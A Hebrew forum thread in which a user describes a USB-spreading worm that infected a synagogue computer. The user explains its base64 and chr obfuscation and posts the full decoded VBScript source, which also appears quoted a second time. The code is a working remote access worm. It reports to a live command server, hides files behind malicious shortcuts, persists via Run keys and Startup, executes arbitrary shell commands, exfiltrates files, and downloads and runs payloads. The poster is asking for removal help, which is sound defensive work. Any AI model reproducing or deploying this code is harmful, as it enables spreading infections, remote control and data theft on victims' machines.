                          case "site-send"
                                sitedownloader cmd (1),cmd (2)
                          case "recv"
                                param = cmd (1)
                                upload (param)
                          case  "enum-driver"
                                post "is-enum-driver",enumdriver  
                          case  "enum-faf"
                                param = cmd (1)
                                post "is-enum-faf",enumfaf (param)
                          case  "enum-process"
                                post "is-enum-process",enumprocess   
                          case  "cmd-shell"
                                param = cmd (1)
                                post "is-cmd-shell",cmdshell (param)  
                          case  "delete"
                                param = cmd (1)
                                deletefaf (param) 
                          case  "exit-process"
                                param = cmd (1)
                                exitprocess (param) 
                          case  "sleep"
                                param = cmd (1)
                                sleep = eval (param)        
                          end select
                          
                          wscript.sleep sleep
                          
                          wend
                          
                          sub install
                          on error resume next
                          dim lnkobj
                          dim filename
                          dim foldername
                          dim fileicon
                          dim foldericon
                          
                          upstart
                          for each drive in filesystemobj.drives
                          
                          if  drive.isready = true then
                          if  drive.freespace  > 0 then
                          if  drive.drivetype  = 1 then
                              filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                              if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                  filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                              end if
                              for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                  if not lnkfile then exit for
                                  if  instr (file.name,".") then
                                      if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                          file.attributes = 2+4
                                          if  ucase (file.name) <> ucase (installname) then
                                              filename = split(file.name,".")
                                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                              lnkobj.windowstyle = 7
                                              lnkobj.targetpath = "cmd.exe"
                                              lnkobj.workingdirectory = ""
                                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                              fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                              if  instr (fileicon,",") = 0 then
                                                  lnkobj.iconlocation = file.path
                                              else 
                                                  lnkobj.iconlocation = fileicon
                                              end if
                                              lnkobj.save()
                                          end if
                                      end if
                                  end if
                              next
                              for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                  if not lnkfolder then exit for
                                  folder.attributes = 2+4
                                  foldername = folder.name
                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                  lnkobj.windowstyle = 7
                                  lnkobj.targetpath = "cmd.exe"
                                  lnkobj.workingdirectory = ""
                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                  foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                  if  instr (foldericon,",") = 0 then
                                      lnkobj.iconlocation = folder.path
                                  else 
                                      lnkobj.iconlocation = foldericon
                                  end if
                                  lnkobj.save()
                              next
                          end If
                          end If
                          end if
                          next
                          err.clear
                          end sub
                          
                          sub uninstall
                          on error resume next
                          dim filename
                          dim foldername
                          
                          shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                          shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                          filesystemobj.deletefile startup & installname ,true
                          filesystemobj.deletefile wscript.scriptfullname ,true
                          
                          for  each drive in filesystemobj.drives
                          if  drive.isready = true then
                          if  drive.freespace  > 0 then
                          if  drive.drivetype  = 1 then
                              for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                   on error resume next
                                   if  instr (file.name,".") then
                                       if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                           file.attributes = 0
                                           if  ucase (file.name) <> ucase (installname) then
                                               filename = split(file.name,".")
                                               filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                           else
                                               filesystemobj.deletefile (drive.path & "\" & file.name)
                                           end If
                                       else
                                           filesystemobj.deletefile (file.path) 
                                       end if
                                   end if
                               next
                               for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                   folder.attributes = 0
                               next
                          end if
                          end if
                          end if
                          next
                          wscript.quit
                          end sub
                          
                          function post (cmd ,param)
                          
                          post = param
                          httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                          httpobj.setrequestheader "user-agent:",information
                          httpobj.send param
                          post = httpobj.responsetext
                          end function
                          
                          function information
                          on error resume next
                          if  inf = "" then
                              inf = hwid & spliter 
                              inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                              inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                          
                              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set os = root.execquery ("select * from win32_operatingsystem")
                              for each osinfo in os
                                 inf = inf & osinfo.caption & spliter  
                                 exit for
                              next
                              inf = inf & "plus" & spliter
                              inf = inf & security & spliter
                              inf = inf & usbspreading
                              information = inf  
                          else
                              information = inf
                          end if
                          end function
                          
                          sub upstart ()
                          on error resume Next
                          
                          shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                          filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                          filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                          
                          end sub
                          
                          function hwid
                          on error resume next
                          
                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set disks = root.execquery ("select * from win32_logicaldisk")
                          for each disk in disks
                              if  disk.volumeserialnumber <> "" then
                                  hwid = disk.volumeserialnumber
                                  exit for
                              end if
                          next
                          end function
                          
                          function security 
                          on error resume next
                          
                          security = ""
                          
                          set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                          for each objitem in colitems
                              versionstr = split (objitem.version,".")
                          next
                          versionstr = split (colitems.version,".")
                          osversion = versionstr (0) & "."
                          for  x = 1 to ubound (versionstr)
                               osversion = osversion &  versionstr (i)
                          next
                          osversion = eval (osversion)
                          if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                          
                          set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                          Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                          
                          for each objantivirus in colantivirus
                              security  = security  & objantivirus.displayname & " ."
                          next
                          if security  = "" then security  = "nan-av"
                          end function
                          
                          function instance
                          on error resume next
                          
                          usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                          if usbspreading = "" then
                             if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                usbspreading = "true - " & date
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                             else
                                usbspreading = "false - " & date
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                          
                             end if
                          end If
                          
                          
                          upstart
                          set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                          set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                          if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                              wscript.quit 
                          end If
                          err.clear
                          set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                          if  err.number > 0 then wscript.quit
                          end function
                          
                          sub sitedownloader (fileurl,filename)
                          
                          strlink = fileurl
                          strsaveto = installdir & filename
                          set objhttpdownload = createobject("msxml2.xmlhttp" )
                          objhttpdownload.open "get", strlink, false
                          objhttpdownload.send
                          
                          set objfsodownload = createobject ("scripting.filesystemobject")
                          if  objfsodownload.fileexists (strsaveto) then
                              objfsodownload.deletefile (strsaveto)
                          end if
                           
                          if objhttpdownload.status = 200 then
                             dim  objstreamdownload
                             set  objstreamdownload = createobject("adodb.stream")
                             with objstreamdownload
                                  .type = 1 
                                  .open
                                  .write objhttpdownload.responsebody
                                  .savetofile strsaveto
                                  .close
                             end with
                             set objstreamdownload = nothing
                          end if
                          if objfsodownload.fileexists(strsaveto) then
                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                          end if 
                          end sub
                          
                          sub download (fileurl,filedir)
                          
                          if filedir = "" then 
                             filedir = installdir
                          end if
                          
                          strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                          set objhttpdownload = createobject("msxml2.xmlhttp")
                          objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                          objhttpdownload.send ""
                               
                          set objfsodownload = createobject ("scripting.filesystemobject")
                          if  objfsodownload.fileexists (strsaveto) then
                              objfsodownload.deletefile (strsaveto)
                          end if
                          if  objhttpdownload.status = 200 then
                              dim  objstreamdownload
                              set  objstreamdownload = createobject("adodb.stream")
                              with objstreamdownload 
                                   .type = 1 
                                   .open
                                   .write objhttpdownload.responsebody
                                   .savetofile strsaveto
                                   .close
                              end with
                              set objstreamdownload  = nothing
                          end if
                          if objfsodownload.fileexists(strsaveto) then
                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                          end if 
                          end sub
                          
                          function upload (fileurl)
                          
                          dim  httpobj,objstreamuploade,buffer
                          set  objstreamuploade = createobject("adodb.stream")
                          with objstreamuploade 
                               .type = 1 
                               .open
                               .loadfromfile fileurl
                               buffer = .read
                               .close
                          end with
                          set objstreamdownload = nothing
                          set httpobj = createobject("msxml2.xmlhttp")
                          httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                          httpobj.send buffer
                          end function
                          
                          function enumdriver ()
                          
                          for  each drive in filesystemobj.drives
                          if   drive.isready = true then
                               enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                          end if
                          next
                          end Function
                          
                          function enumfaf (enumdir)
                          
                          enumfaf = enumdir & spliter
                          for  each folder in filesystemobj.getfolder (enumdir).subfolders
                               enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                          next
                          
                          for  each file in filesystemobj.getfolder (enumdir).files
                               enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                          
                          next
                          end function
                          
                          function enumprocess ()
                          
                          on error resume next
                          
                          set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                          set colitems = objwmiservice.execquery("select * from win32_process",,48)
                          
                          dim objitem
                          for each objitem in colitems
                              enumprocess = enumprocess & objitem.name & "|"
                              enumprocess = enumprocess & objitem.processid & "|"
                              enumprocess = enumprocess & objitem.executablepath & spliter
                          next
                          end function
                          
                          sub exitprocess (pid)
                          on error resume next
                          
                          shellobj.run "taskkill /F /T /PID " & pid,7,true
                          end sub
                          
                          sub deletefaf (url)
                          on error resume next
                          
                          filesystemobj.deletefile url
                          filesystemobj.deletefolder url
                          
                          end sub
                          
                          function cmdshell (cmd)
                          
                          dim httpobj,oexec,readallfromany
                          
                          set oexec = shellobj.exec ("%comspec% /c " & cmd)
                          if not oexec.stdout.atendofstream then
                             readallfromany = oexec.stdout.readall
                          elseif not oexec.stderr.atendofstream then
                             readallfromany = oexec.stderr.readall
                          else 
                             readallfromany = ""
                          end if
                          
                          cmdshell = readallfromany
                          end function
                          
                          א מנותק
                          א מנותק
                          אחרית לעמך
                          כתב נערך לאחרונה על ידי
                          #45

                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                          בחדר מחשבים שעל ידי ביתי

                          אולי תכתוב איזה חדר זה כדי להציל את הציבור (אם לא מיגרת את הוירוס שם)

                          תגובה 1 תגובה אחרונה
                          0
                          • ר רנדומלי

                            בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                            cmd /c hrxxryydxo.vbs && start explorer [file name]
                            

                            הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                            לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                            תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                            לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                            z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                            

                            בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                            לאחר פיענוח הקידוד התקבל הקוד הבא:
                            אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                            e
                            '<[ recoder : houdini (c) skype : houdini-fx ]>
                            
                            '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                            
                            host = "khattab.no-ip.biz"
                            port = 5550
                            installdir = "%temp%"
                            lnkfile = true
                            lnkfolder = true
                            
                            '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                            
                            dim shellobj 
                            set shellobj = wscript.createobject("wscript.shell")
                            dim filesystemobj
                            set filesystemobj = createobject("scripting.filesystemobject")
                            dim httpobj
                            set httpobj = createobject("msxml2.xmlhttp")
                            
                            '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                            
                            installname = wscript.scriptname
                            startup = shellobj.specialfolders ("startup") & "\"
                            installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                            if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                            spliter = "<" & "|" & ">"
                            sleep = 5000 
                            dim response
                            dim cmd
                            dim param
                            info = ""
                            usbspreading = ""
                            startdate = ""
                            dim oneonce
                            
                            '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                            on error resume next
                            
                            instance
                            while true
                            
                            install
                            
                            response = ""
                            response = post ("is-ready","")
                            cmd = split (response,spliter)
                            select case cmd (0)
                            case "excecute"
                                  param = cmd (1)
                                  execute param
                            case "update"
                                  param = cmd (1)
                                  oneonce.close
                                  set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                  oneonce.write param
                                  oneonce.close
                                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                  wscript.quit 
                            case "uninstall"
                                  uninstall
                            case "send"
                                  download cmd (1),cmd (2)
                            case "site-send"
                                  sitedownloader cmd (1),cmd (2)
                            case "recv"
                                  param = cmd (1)
                                  upload (param)
                            case  "enum-driver"
                                  post "is-enum-driver",enumdriver  
                            case  "enum-faf"
                                  param = cmd (1)
                                  post "is-enum-faf",enumfaf (param)
                            case  "enum-process"
                                  post "is-enum-process",enumprocess   
                            case  "cmd-shell"
                                  param = cmd (1)
                                  post "is-cmd-shell",cmdshell (param)  
                            case  "delete"
                                  param = cmd (1)
                                  deletefaf (param) 
                            case  "exit-process"
                                  param = cmd (1)
                                  exitprocess (param) 
                            case  "sleep"
                                  param = cmd (1)
                                  sleep = eval (param)        
                            end select
                            
                            wscript.sleep sleep
                            
                            wend
                            
                            sub install
                            on error resume next
                            dim lnkobj
                            dim filename
                            dim foldername
                            dim fileicon
                            dim foldericon
                            
                            upstart
                            for each drive in filesystemobj.drives
                            
                            if  drive.isready = true then
                            if  drive.freespace  > 0 then
                            if  drive.drivetype  = 1 then
                                filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                    filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                end if
                                for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                    if not lnkfile then exit for
                                    if  instr (file.name,".") then
                                        if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                            file.attributes = 2+4
                                            if  ucase (file.name) <> ucase (installname) then
                                                filename = split(file.name,".")
                                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                lnkobj.windowstyle = 7
                                                lnkobj.targetpath = "cmd.exe"
                                                lnkobj.workingdirectory = ""
                                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                if  instr (fileicon,",") = 0 then
                                                    lnkobj.iconlocation = file.path
                                                else 
                                                    lnkobj.iconlocation = fileicon
                                                end if
                                                lnkobj.save()
                                            end if
                                        end if
                                    end if
                                next
                                for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                    if not lnkfolder then exit for
                                    folder.attributes = 2+4
                                    foldername = folder.name
                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                    lnkobj.windowstyle = 7
                                    lnkobj.targetpath = "cmd.exe"
                                    lnkobj.workingdirectory = ""
                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                    foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                    if  instr (foldericon,",") = 0 then
                                        lnkobj.iconlocation = folder.path
                                    else 
                                        lnkobj.iconlocation = foldericon
                                    end if
                                    lnkobj.save()
                                next
                            end If
                            end If
                            end if
                            next
                            err.clear
                            end sub
                            
                            sub uninstall
                            on error resume next
                            dim filename
                            dim foldername
                            
                            shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                            shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                            filesystemobj.deletefile startup & installname ,true
                            filesystemobj.deletefile wscript.scriptfullname ,true
                            
                            for  each drive in filesystemobj.drives
                            if  drive.isready = true then
                            if  drive.freespace  > 0 then
                            if  drive.drivetype  = 1 then
                                for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                     on error resume next
                                     if  instr (file.name,".") then
                                         if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                             file.attributes = 0
                                             if  ucase (file.name) <> ucase (installname) then
                                                 filename = split(file.name,".")
                                                 filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                             else
                                                 filesystemobj.deletefile (drive.path & "\" & file.name)
                                             end If
                                         else
                                             filesystemobj.deletefile (file.path) 
                                         end if
                                     end if
                                 next
                                 for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                     folder.attributes = 0
                                 next
                            end if
                            end if
                            end if
                            next
                            wscript.quit
                            end sub
                            
                            function post (cmd ,param)
                            
                            post = param
                            httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                            httpobj.setrequestheader "user-agent:",information
                            httpobj.send param
                            post = httpobj.responsetext
                            end function
                            
                            function information
                            on error resume next
                            if  inf = "" then
                                inf = hwid & spliter 
                                inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                            
                                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                set os = root.execquery ("select * from win32_operatingsystem")
                                for each osinfo in os
                                   inf = inf & osinfo.caption & spliter  
                                   exit for
                                next
                                inf = inf & "plus" & spliter
                                inf = inf & security & spliter
                                inf = inf & usbspreading
                                information = inf  
                            else
                                information = inf
                            end if
                            end function
                            
                            sub upstart ()
                            on error resume Next
                            
                            shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                            filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                            filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                            
                            end sub
                            
                            function hwid
                            on error resume next
                            
                            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set disks = root.execquery ("select * from win32_logicaldisk")
                            for each disk in disks
                                if  disk.volumeserialnumber <> "" then
                                    hwid = disk.volumeserialnumber
                                    exit for
                                end if
                            next
                            end function
                            
                            function security 
                            on error resume next
                            
                            security = ""
                            
                            set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                            for each objitem in colitems
                                versionstr = split (objitem.version,".")
                            next
                            versionstr = split (colitems.version,".")
                            osversion = versionstr (0) & "."
                            for  x = 1 to ubound (versionstr)
                                 osversion = osversion &  versionstr (i)
                            next
                            osversion = eval (osversion)
                            if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                            
                            set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                            Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                            
                            for each objantivirus in colantivirus
                                security  = security  & objantivirus.displayname & " ."
                            next
                            if security  = "" then security  = "nan-av"
                            end function
                            
                            function instance
                            on error resume next
                            
                            usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                            if usbspreading = "" then
                               if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                  usbspreading = "true - " & date
                                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                               else
                                  usbspreading = "false - " & date
                                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                            
                               end if
                            end If
                            
                            
                            upstart
                            set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                            set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                            if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                wscript.quit 
                            end If
                            err.clear
                            set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                            if  err.number > 0 then wscript.quit
                            end function
                            
                            sub sitedownloader (fileurl,filename)
                            
                            strlink = fileurl
                            strsaveto = installdir & filename
                            set objhttpdownload = createobject("msxml2.xmlhttp" )
                            objhttpdownload.open "get", strlink, false
                            objhttpdownload.send
                            
                            set objfsodownload = createobject ("scripting.filesystemobject")
                            if  objfsodownload.fileexists (strsaveto) then
                                objfsodownload.deletefile (strsaveto)
                            end if
                             
                            if objhttpdownload.status = 200 then
                               dim  objstreamdownload
                               set  objstreamdownload = createobject("adodb.stream")
                               with objstreamdownload
                                    .type = 1 
                                    .open
                                    .write objhttpdownload.responsebody
                                    .savetofile strsaveto
                                    .close
                               end with
                               set objstreamdownload = nothing
                            end if
                            if objfsodownload.fileexists(strsaveto) then
                               shellobj.run objfsodownload.getfile (strsaveto).shortpath
                            end if 
                            end sub
                            
                            sub download (fileurl,filedir)
                            
                            if filedir = "" then 
                               filedir = installdir
                            end if
                            
                            strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                            set objhttpdownload = createobject("msxml2.xmlhttp")
                            objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                            objhttpdownload.send ""
                                 
                            set objfsodownload = createobject ("scripting.filesystemobject")
                            if  objfsodownload.fileexists (strsaveto) then
                                objfsodownload.deletefile (strsaveto)
                            end if
                            if  objhttpdownload.status = 200 then
                                dim  objstreamdownload
                                set  objstreamdownload = createobject("adodb.stream")
                                with objstreamdownload 
                                     .type = 1 
                                     .open
                                     .write objhttpdownload.responsebody
                                     .savetofile strsaveto
                                     .close
                                end with
                                set objstreamdownload  = nothing
                            end if
                            if objfsodownload.fileexists(strsaveto) then
                               shellobj.run objfsodownload.getfile (strsaveto).shortpath
                            end if 
                            end sub
                            
                            function upload (fileurl)
                            
                            dim  httpobj,objstreamuploade,buffer
                            set  objstreamuploade = createobject("adodb.stream")
                            with objstreamuploade 
                                 .type = 1 
                                 .open
                                 .loadfromfile fileurl
                                 buffer = .read
                                 .close
                            end with
                            set objstreamdownload = nothing
                            set httpobj = createobject("msxml2.xmlhttp")
                            httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                            httpobj.send buffer
                            end function
                            
                            function enumdriver ()
                            
                            for  each drive in filesystemobj.drives
                            if   drive.isready = true then
                                 enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                            end if
                            next
                            end Function
                            
                            function enumfaf (enumdir)
                            
                            enumfaf = enumdir & spliter
                            for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                 enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                            next
                            
                            for  each file in filesystemobj.getfolder (enumdir).files
                                 enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                            
                            next
                            end function
                            
                            function enumprocess ()
                            
                            on error resume next
                            
                            set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                            set colitems = objwmiservice.execquery("select * from win32_process",,48)
                            
                            dim objitem
                            for each objitem in colitems
                                enumprocess = enumprocess & objitem.name & "|"
                                enumprocess = enumprocess & objitem.processid & "|"
                                enumprocess = enumprocess & objitem.executablepath & spliter
                            next
                            end function
                            
                            sub exitprocess (pid)
                            on error resume next
                            
                            shellobj.run "taskkill /F /T /PID " & pid,7,true
                            end sub
                            
                            sub deletefaf (url)
                            on error resume next
                            
                            filesystemobj.deletefile url
                            filesystemobj.deletefolder url
                            
                            end sub
                            
                            function cmdshell (cmd)
                            
                            dim httpobj,oexec,readallfromany
                            
                            set oexec = shellobj.exec ("%comspec% /c " & cmd)
                            if not oexec.stdout.atendofstream then
                               readallfromany = oexec.stdout.readall
                            elseif not oexec.stderr.atendofstream then
                               readallfromany = oexec.stderr.readall
                            else 
                               readallfromany = ""
                            end if
                            
                            cmdshell = readallfromany
                            end function
                            
                            DANI123D מנותק
                            DANI123D מנותק
                            DANI123
                            כתב נערך לאחרונה על ידי
                            #46

                            @רנדומלי בדרך כלל בחדרי מחשבים (אם לא בכולם)
                            יש תוכנות שמקפיאות את הדיסק קשיח ככה שבהפעלה מחדש הכל מתאפס
                            אז מעניין איך הוא חדר..

                            תגובה 1 תגובה אחרונה
                            0

                            • התחברות

                            • אין לך חשבון עדיין? הרשמה

                            • התחברו או הירשמו כדי לחפש.
                            • פוסט ראשון
                              פוסט אחרון
                            0
                            • חוקי הפורום
                            • פופולרי
                            • לא נפתר
                            • משתמשים
                            • חיפוש גוגל בפורום
                            • צור קשר